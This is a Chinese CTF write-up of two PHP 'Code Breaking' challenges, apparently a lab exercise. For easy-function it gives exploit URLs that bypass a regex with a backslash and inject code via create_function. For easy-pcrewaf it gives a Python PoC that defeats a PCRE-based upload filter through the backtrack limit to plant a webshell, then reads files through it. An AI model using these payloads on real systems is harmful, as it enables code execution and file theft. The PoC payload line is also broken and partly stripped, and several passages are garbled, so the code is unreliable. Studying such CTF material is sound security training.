Code Breaking 挑战赛 -easy篇(上)

Code Breaking 挑战赛 -easy篇(上)

从简单开始

  • easy-function
  • easy-pcrewaf
  • easy-phpmagic
  • easy-phplimit
  • easy-nodechr

easy-function
  • 题目

$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}
  • 函数

preg_match()

  • (PHP 4, PHP 5, PHP 7) preg_match — 执行匹配正则表达式
  • preg_match( string $pattern, string $subject[, array &$matches[, int $flags = 0[, int $offset= 0]]] ) : int 搜索subjectpattern给定的正则表达式的一个匹配.
  • **preg_match()返回 pattern 的匹配次数。它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后将会停止搜索。

show_source()

show_source() 对文件进行语法高亮,打印或输出,代码

变量"(FILE)"

变量__file__ 文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名。自
PHP 4.0.2 起,**FILE**总是包含一个绝对路径(如果是符号连接,则是解析后的绝对路径),而在此之前的版本有时会包含一个相对路径。

php命名空间

php的命名空间默认为(即为全局空间),所有的函数和类都在\这个命名空间中如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function()

(PHP 4 >= 4.0.1, PHP 5, PHP 7) create_function — Create an anonymous (lambda-style) function

create_function的第一个参数是参数,第二个参数是内容。

print_r()

print_r — 以易于理解的格式打印变量。

scandir()

scandir — 列出指定路径中的文件和目录

file_get_contents()

file_get_contents() —将整个文件读入一个字符串

  • 分析
  1. 看到 a c t i o n ( ′ ′ , action('', action(,arg) 这里有两个参数,可以想到create_function()匿名函数代码注入。
  2. 题目意思是将action当作方法,arg为传入的参数执行。
  3. 由代码可知,我们需要绕过if()判断,进入else语句来执行action()方法,此时需要绕过对正则表达式的匹配,即为action不能为字符串首部或字符串尾部是"/^【a-z0-9_】*$/",那么我们可以去寻找如此的字符
  • 解题
  1. 使用create_function()函数闭合后,执行后续代码,例如:
create_function('$a,$b','return 111;}phpinfo();//')

==>

function a($a, $b){
    return 111;}phpinfo();//
}
  1. 使用print_()打印scandir()函数扫描出来的目录,这里我们可以查看当前目录的上级目录

exp

http://127.0.0.1:8087/action=\create_function&arg=2;}print_r(scandir(%27../%27));/*

Code Breaking 挑战赛 -easy篇(上)_第1张图片

可以知道此目录下还有一个flag_h0w2execute_arbltary_c0de文件

  1. 使用file_get_contents() 函数将整个文件读入一个字符串,并且打印

exp

http://127.0.0.1:8087/action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

Code Breaking 挑战赛 -easy篇(上)_第2张图片


easy-pcrewaf
  • 题目
 
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 1
  • 函数

die()

同exit() — 输出一个消息并且退出当前脚本

exit([ string $status ] ) : void

exit( int $status ) : void

$_FILES

PHP 的全局数组 $_FILES,可以从客户计算机向远程服务器上传文件。

$_FILES[“file”]""[“tmp_name”]- 存储在服务器的文件的临时副本的名称

$_SERVER

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。

$_SERVER[‘REMOTE_ADDR’]-浏览当前页面的用户的 IP 地址。

move_uploaded_file()

move_uploaded_file — 将上传的文件移动到新位置

move_uploaded_file
( string $filename, string $destination) : bool

header(string,replace,http_response_code)

header — 发送原生 HTTP 头

**“Location:”**的头信息。它不仅把报文发送给浏览器,而且还将返回给浏览器一个 REDIRECT(302)的状态码

可选参数 replace 表明是否用后面的头替换前面相同类型的头。true会替换

http_response_code强制指定HTTP响应的值。注意,这个参数只有在报文字符串(string)不为空的情况下才有效。

@

@是PHP提供的错误信息屏蔽的专用符号

mkdir()

mkdir()函数-新建目录

mkdir( string $pathname[, int $mode = 0777[, bool $recursive = false[, resource $context]]] ) : bool

mode参数0777表示最大权限,0777为8进制数**(777前加0表示八进制数)**,三个八进制数来表示权限

  • 分析
  1. 由题目可知,我们需要绕过这个正则匹配**’/[(`;?>]./is’**,仔细一看是一种php文件的格式。

  2. 目标是绕过is_php()函数,写入文件的方式来写入webshell

  • 解题
  1. PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit
  2. 当回溯次数超过了100万,preg_match()返回false,不是1或0。则绕过了正则。

poc

注:在Ubuntu环境下,为了方便,我将原来POST传参改为了GET传参(p神官方脚本)

import requests
from io import BytesIO

files = {
  'file': BytesIO(b'aaa + b'a' * 1000000)
}
#Bytes()函数写入file文件内容为上
res = requests.post('http://127.0.0.1:8088', files=files,allow_redirects=False)
print(res.headers)

在这里插入图片描述

可得路径:Location:data/122c4a55d1a70cef972cac3982dd49a6/9.php

  1. 经过最后的文件转移以及文件名修改变为了php文件,故可以执行eval()函数,与第一题类似,知道路径后,便可以进行目录遍历等操作

exp

http://127.0.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/9.php?txt=print_r(scandir(%27../../../%27));

Code Breaking 挑战赛 -easy篇(上)_第3张图片

  1. 查看文件flag_php7_2_1s_c0rrect

exp

http://127.0.0.1:8088/data/122c4a55d1a70cef972cac3982dd49a6/9.php?txt=print_r(file_get_contents(%27../../../flag_php7_2_1s_c0rrect%27));

Code Breaking 挑战赛 -easy篇(上)_第4张图片


参考

  • https://www.jianshu.com/p/748749d38fb8
  • https://paper.seebug.org/755/
  • https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

你可能感兴趣的:(网络安全)